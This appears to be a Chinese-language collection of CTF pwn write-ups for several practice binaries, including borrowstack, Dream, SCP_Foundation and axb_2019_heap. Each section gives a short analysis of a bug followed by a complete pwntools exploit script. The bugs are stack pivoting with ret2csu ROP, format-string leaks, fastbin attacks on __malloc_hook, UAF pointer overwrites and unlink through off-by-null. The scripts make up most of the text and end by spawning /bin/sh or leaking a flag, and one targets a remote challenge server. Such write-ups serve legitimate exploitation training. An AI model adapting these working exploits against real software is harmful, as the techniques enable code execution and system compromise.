题目分析

思路

  • 利用rop链控制寄存器来进行攻击,首先需要泄露地址

  • 然后就是常规rop攻击,这里我用到了ret2csu

坑点

可以说之前有一个地方困扰了我很久,就是经常栈迁移的时候程序经常dang了,这次我理解了,因为bss段上面一块区域是一个只有只读权限的内存空间,当我们进行系统调用的时候往往需要压栈的操作,这种操作往往会使的栈不断地拔高,一旦栈帧指向了只有只读权限的内存空间的时候就会报错,因为对栈帧的操作往往需要有写的权限,这也是我经常忽视的地方,所以栈迁移的时候尽量迁移到bss段后面

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#!/usr/bin/env python3
#coding=utf-8
from pwn import*
context.log_level = 'debug'
context.arch='amd64'
binary = './borrowstack'
main_arena = 0x1beb80
local = 1
if local == 1:
io=process(binary)
else:
io=remote()
elf=ELF(binary)
#libc = ELF("/lib/i386-linux-gnu/libc.so.6")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
'''
0x00000000004006fc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006fe : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400700 : pop r14 ; pop r15 ; ret
0x0000000000400702 : pop r15 ; ret
0x00000000004006fb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006ff : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400590 : pop rbp ; ret
0x0000000000400703 : pop rdi ; ret
0x0000000000400701 : pop rsi ; pop r15 ; ret
0x00000000004006fd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004004c9 : ret
'''
bank = 0x601080
leave_ret = 0x0000000000400699
ret = 0x00000000004004c9
pop_si_15 = 0x0000000000400701
fuke_stack = elf.bss()+0x600
gdb.attach(io,'b main')
io.recvuntil('Tell me what you want')
io.send(b'a'*0x60+p64(bank)+p64(leave_ret))
io.recvuntil('Done!You can check and use your borrow stack now!')

pay = p64(fuke_stack) + p64(pop_si_15) + p64(fuke_stack) + p64(0) + p64(elf.plt['read']) + p64(leave_ret)
io.send(pay.ljust(0x100,b'\x00'))
pay = p64(ret)+p64(0x0400703)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x4006FA)+p64(0)+p64(1)+p64(fuke_stack)+p64(0x100)+p64(fuke_stack+0xa0)+p64(0)+p64(0x4006E0)+p64(0)*7+p64(elf.plt['read'])
io.send(pay)
#io.sendline(p64(ret)+p64(0x0400703)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x4006FA)+p64(0)+p64(1)+p64(ret)+p64(0x100)+p64(bank)+p64(0)+p64(0x4006E0)+p64(0)*7)
libc_base = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - libc.sym['puts']
io.success('libc_base==>{}'.format(hex(libc_base)))
system = libc.sym['system'] + libc_base
bin_sh = next(libc.search(b'/bin/sh\0')) + libc_base
pay = p64(0x0400703) + p64(bin_sh) + p64(system)
io.sendline(pay)
io.interactive()

Dream

题目分析

存在格式化字符串漏洞,可以用来leak地址,编辑堆块的size可控,可以造成堆溢出,还有一个uaf漏洞,可以达到任意地址读写

思路

  • 利用格式化字符串漏洞leak地址

  • 利用fastbin attack改malloc hook为realloc hook(在malloc hook-8的位置),改realloc为one_gadget

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#!/usr/bin/env python3
#coding=utf-8
from pwn import*
context.log_level = 'debug'
context.arch='amd64'
binary = './Dream'
context.terminal = ['terminator','-x','sh','-c']
local = 0
if local == 1:
io=process(binary)
else:
io=remote('',)
elf=ELF(binary)
#nc 47.105.44.59 16381
#libc = ELF("/lib/i386-linux-gnu/libc.so.6")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def alloc(size,content):
io.recvuntil('Your choice :')
io.sendline('1')
io.recvuntil('Length of dream :')
io.sendline(str(size))
io.recvuntil('Content of dream:')
io.sendline(content)


def edit(index,size,content):
io.recvuntil('Your choice :')
io.sendline('2')
io.recvuntil('Index :')
io.sendline(str(index))
io.recvuntil('Length of dream :')
io.sendline(str(size))
io.recvuntil("Content of dream:")
io.send(content)

def show(index):
io.recvuntil('Your choice :')
io.sendline('4')
io.recvuntil('Index :')
io.sendline(str(index))

def free(index):
io.recvuntil('Your choice :')
io.sendline('3')
io.recvuntil('Index :')
io.sendline(str(index))

io.recvuntil('Please enter your name')
#gdb.attach(io,'b main')
io.sendline('%11$p')
io.recvuntil('0x')
libc_base = int(io.recv(12).decode(),16) - 0x20840
malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc = libc_base + libc.symbols['__libc_realloc']
one_gadget = libc_base + 0x4527a
print(hex(libc_base))
alloc(0x10,b'a')#0
alloc(0x10,b'a')#1
alloc(0x10,b'a')#2
alloc(0x20,b'a')#3

pay = b'a'*0x18+p64(0x71)
edit(0,len(pay),pay)
free(1)
edit(1,8,p64(malloc_hook-35))
alloc(0x60,b'a')#1
alloc(0x60,b'a'*8 + b'a'*3 + p64(one_gadget) + p64(realloc))#malloc hook 4

io.recvuntil('Your choice :')
io.sendline('1')
io.recvuntil('Length of dream :')
io.sendline(str(20))
io.interactive()

ichunqiuyiqing_excited

题目分析

堆块里存在指针,而且有uaf漏洞,flag文件读取到内存里了,可以通过特殊布局利用uaf来将指针指向flag的位置,再读取打印

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#!/usr/bin/env python3
#coding=utf-8
from pwn import*
context.log_level = 'debug'
context.arch='amd64'
binary = './excited'
main_arena = 0x1beb80
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
local = 1
if local == 1:
io=process(binary)
else:
io=remote()
elf=ELF(binary)
#libc = ELF("/lib/i386-linux-gnu/libc.so.6")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def alloc(size1,content1,size2,content2):
ru('#######################')
sl(str(1))
ru("> ba's length : ")
sl(str(size1))
ru("> ba : ")
sl(content1)
ru("> na's length : ")
sl(str(size2))
ru("> na : ")
sl(content2)

def free(index):
ru('#######################')
sl(str(3))
ru("> Banana ID : ")
sl(str(index))

def show(index):
ru('#######################')
sl(str(4))
ru("> SCP project ID : ")
sl(str(index))

alloc(0x60,b'a',0x60,b'a')#0
alloc(0x60,b'a',0x60,b'a')#1
alloc(0x60,b'a',0x60,b'a')#2
alloc(0x60,b'a',0x20,b'a')#3
free(0)
free(1)
alloc(0x10,p64(0x601F98)+p64(0x6020A8),0x10,b'a')#4

show(0)

ru("# Banana's ba is ")
libc_base = u64(ru(b'\x7f')[-6:].ljust(8,b'\x00')) - libc.sym['free']
'''
io.success("libc_base==>{}".format(hex(libc_base)))
mk = libc.sym['__malloc_hook']+libc_base


free(2)
free(3)
alloc(0x10,p64(0x601F98+53+0x10)+p64(mk-11+0x10),0x10,b'a')#5
gdb.attach(io,'b main')
#alloc(0x10,b'a',0x70,b'a')#1
#alloc(0x70,b'a',0x70,b'a')#2
#alloc(0x70,b'a',0x70,b'a')#3

'''
io.interactive()

ichunqiuyiqing_interested

题目分析

存在格式化字符串漏洞leak地址,UAF漏洞,堆打卡

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#!/usr/bin/env python3
#coding=utf-8
from pwn import*
context.log_level = 'debug'
context.arch='amd64'
binary = './interested'
main_arena = 0x1beb80
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
su = lambda buf,addr:io.success(buf+"==>"+hex(addr))
local = 1
if local == 1:
io=process(binary)
else:
io=remote()
elf=ELF(binary)
#libc = ELF("/lib/i386-linux-gnu/libc.so.6")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
#---------------------leak------------------------
ru('> Input your code please:')

s('OreOOrereOOreO%17$p')
ru('#######################')
sl(str(0))
ru('# Your Code is ')
ru('0x')
libc_base = int(r(12).decode(),16) - 158986
su('libc_base',libc_base)
fh = libc.sym["__free_hook"] + libc_base
su('free_hook',fh)
system = libc.sym['system'] + libc_base
#-------------------------------------------------
def add(size1,content1,size2,content2):
ru('> Now please tell me what you want to do :')
sl('1')
ru("> O's length : ")
sl(str(size1))
ru("> O : ")
sl(content1)
ru("> RE's length : ")
sl(str(size2))
ru("> RE : ")
sl(content2)

def free(index):
ru('> Now please tell me what you want to do :')
sl('3')
ru("> Oreo ID :")
sl(str(index))

def edit(index,content1,content2):
ru('> Now please tell me what you want to do :')
sl('2')
ru("> Oreo ID :")
sl(str(index))
ru("> O : ")
sl(content1)
ru("> RE : ")
sl(content2)

def show(index):
ru('> Now please tell me what you want to do :')
sl('4')
ru("> Oreo ID :")
sl(str(index))


add(0x20,b'a',0x20,b'x')#1
free(1)
edit(1,b'a',p64(fh))
add(0x20,b'a',0x20,p64(system))#2
add(0x20,b'/bin/sh\0',0x20,b'x')#3
ru('> Now please tell me what you want to do :')
sl('3')
ru("> Oreo ID :")
sl('3')
#gdb.attach(io,'b main')
io.interactive()

SCP_Foundation

题目分析

存在uaf漏洞,堆块存在指针,有show、add、free功能,flag已经读取到内存中了,直接把堆块里的指针改成对应内存快的指针就可以读取flag了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#!/usr/bin/env python3
#coding=utf-8
from pwn import*
context.log_level = 'debug'
context.arch='amd64'
binary = './SCP_Foundation'
main_arena = 0x1beb80
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
su = lambda buf,addr:io.success(buf+"==>"+hex(addr))
local = 1
if local == 1:
io=process(binary)
else:
io=remote()
elf=ELF(binary)
#libc = ELF("/lib/i386-linux-gnu/libc.so.6")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
flag = 0x6030C8
def login():
ru("> Username:")
sl('a')
ru("> Password:")
s(b"For_the_glory_of_Brunhild")
def add(size1,content1,size2,content2):
ru('> Now please tell me what you want to do :')
sl('2')
ru("> SCP name's length : ")
sl(str(size1))
ru("> SCP name : ")
sl(content1)
ru("> SCP description's length : ")
sl(str(size2))
ru("> SCP description : ")
sl(content2)

def free(index):
ru('> Now please tell me what you want to do :')
sl('4')
ru("> SCP project ID : ")
sl(str(index))

def show(index):
ru('> Now please tell me what you want to do :')
sl('5')
ru("> SCP project ID : ")
sl(str(index))
login()
add(0x20,b'a',0x20,b'x')#0
add(0x20,b'a',0x20,b'x')#1
free(1)
free(0)
add(0x10,p64(flag)+p64(flag),0x10,b'x')#2
show(1)
io.interactive()

axb_2019_heap

题目分析

存在格式化字符串漏洞leak地址,没有show功能,只能申请0x80以上的堆块。有一个offbynull漏洞。

涉及知识点

unlink

本次攻击是将chunk0指向数据的指针当作指向伪造chunk头的指针,FD->bk、BK->fd就是我们伪造的指针,他们都同时指向bss段上chunk0的指针,可以将bss段上的指针改成BK->fd。这样就可以控制堆块指针达到任意地址读写

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#!/usr/bin/env python
#coding=utf-8
from pwn import*
#from LibcSearcher import *
import sys
context.log_level = 'debug'
context.terminal = ['terminator','-x','sh','-c']
binary = './axb_2019_heap'
local = 0
if local == 1:
io=process(binary)
else:
io=remote("node4.buuoj.cn",28826)
elf=ELF(binary)
libc = ELF('./libc-2.23.so')
#libc=elf.libc
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
def add(index,size,content=b'a'*8):
io.recvuntil('Enter a option: ')
io.sendline('1')
io.sendlineafter('Enter the index you want to create (0-10):',str(index))
io.recvuntil("Enter a size:")
io.sendline(str(size))
io.recvuntil("Enter the content: ")
io.sendline(content)

def edit(index,content):
io.recvuntil('Enter a option: ')
io.sendline('4')
io.recvuntil("Enter an index:")
io.sendline(str(index))
io.recvuntil("Enter the content: ")
io.send(content)

def free(index):
io.recvuntil('Enter a option: ')
io.sendline('2')
io.recvuntil("Enter an index:")
io.sendline(str(index))
def leak():
io.recvuntil("Enter your name: ")

io.sendline('%15$p%11$p')
io.recvuntil('0x')
libc_base = int(io.recv(12).decode(),16)-libc.sym['__libc_start_main']-240#-133184
io.success('libc_base==>'+hex(libc_base))
return libc_base

libc_base = leak()
io.recvuntil('0x')
pie_base = int(io.recv(12).decode(),16)-0x1186#-133184
io.success('pie_base==>'+hex(pie_base))
chunk=pie_base+0x203000
bss = pie_base+0x202060
fh = libc.sym['__free_hook']+libc_base
main_arena = libc.sym["__malloc_hook"]+0x10+libc_base+88
system = libc.sym['system']+libc_base
add(0,0x88)#0

add(1,0x88)#1
add(2,0x88)#2
add(3,0x88)#3
pay = p64(0)+p64(0x81)+p64(bss-0x18)+p64(bss-0x10)
pay = pay.ljust(0x80,b'\x00')+p64(0x80)+b'\x90'
edit(0,pay)
#free(0)
#edit(0,p64(chunk+0x10)+p64(0x111)+p64(chunk+0x10-0x18)+p64(chunk+0x10-0x10)+b'\n')
free(1)
pay=p64(0)*3+p64(fh-8)+b'\x88'+b'\n'
edit(0,pay)
pay=b'/bin/sh\0'+p64(system)+b'\n'
edit(0,pay)
#gdb.attach(io,'b main')
free(0)
io.interactive()